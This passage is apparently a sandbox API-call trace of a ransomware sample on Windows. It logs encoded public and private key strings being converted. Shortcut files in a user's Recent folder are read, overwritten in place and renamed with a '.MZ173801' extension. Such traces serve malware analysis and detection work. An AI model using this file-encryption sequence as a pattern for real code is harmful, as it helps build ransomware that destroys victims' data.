lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.932] GetCurrentThreadId () returned 0xab4 [0151.932] GetCurrentThreadId () returned 0xab4 [0151.932] GetCurrentThreadId () returned 0xab4 [0151.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RGQur6sY-GXeNf-nX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rgqur6sy-gxenf-nx.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.932] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.932] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.932] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2ab [0151.932] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.932] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x2ab, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x2ab, lpOverlapped=0x0) returned 1 [0151.933] CloseHandle (hObject=0x280) returned 1 [0151.933] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RGQur6sY-GXeNf-nX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rgqur6sy-gxenf-nx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.934] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x2ab, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x2ab, lpOverlapped=0x0) returned 1 [0151.935] CloseHandle (hObject=0x280) returned 1 [0151.936] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RGQur6sY-GXeNf-nX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rgqur6sy-gxenf-nx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RGQur6sY-GXeNf-nX.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rgqur6sy-gxenf-nx.lnk.mz173801")) returned 1 [0151.936] GetCurrentThreadId () returned 0xab4 [0151.936] GetCurrentThreadId () returned 0xab4 [0151.936] GetCurrentThreadId () returned 0xab4 [0151.936] GetCurrentThreadId () returned 0xab4 [0151.936] GetCurrentThreadId () returned 0xab4 [0151.936] GetCurrentThreadId () returned 0xab4 [0151.936] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08b65c7, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x8257934a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8257934a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Roaming.lnk", cAlternateFileName="")) returned 1 [0151.936] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.937] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08b65c7, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x8257934a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8257934a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x304)) returned 1 [0151.937] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk")) returned 0x20 [0151.937] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk", dwFileAttributes=0x80) returned 1 [0152.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.025] GetCurrentThreadId () returned 0xab4 [0152.025] GetCurrentThreadId () returned 0xab4 [0152.025] GetCurrentThreadId () returned 0xab4 [0152.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.026] GetCurrentThreadId () returned 0xab4 [0152.026] GetCurrentThreadId () returned 0xab4 [0152.026] GetCurrentThreadId () returned 0xab4 [0152.026] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.026] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.026] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 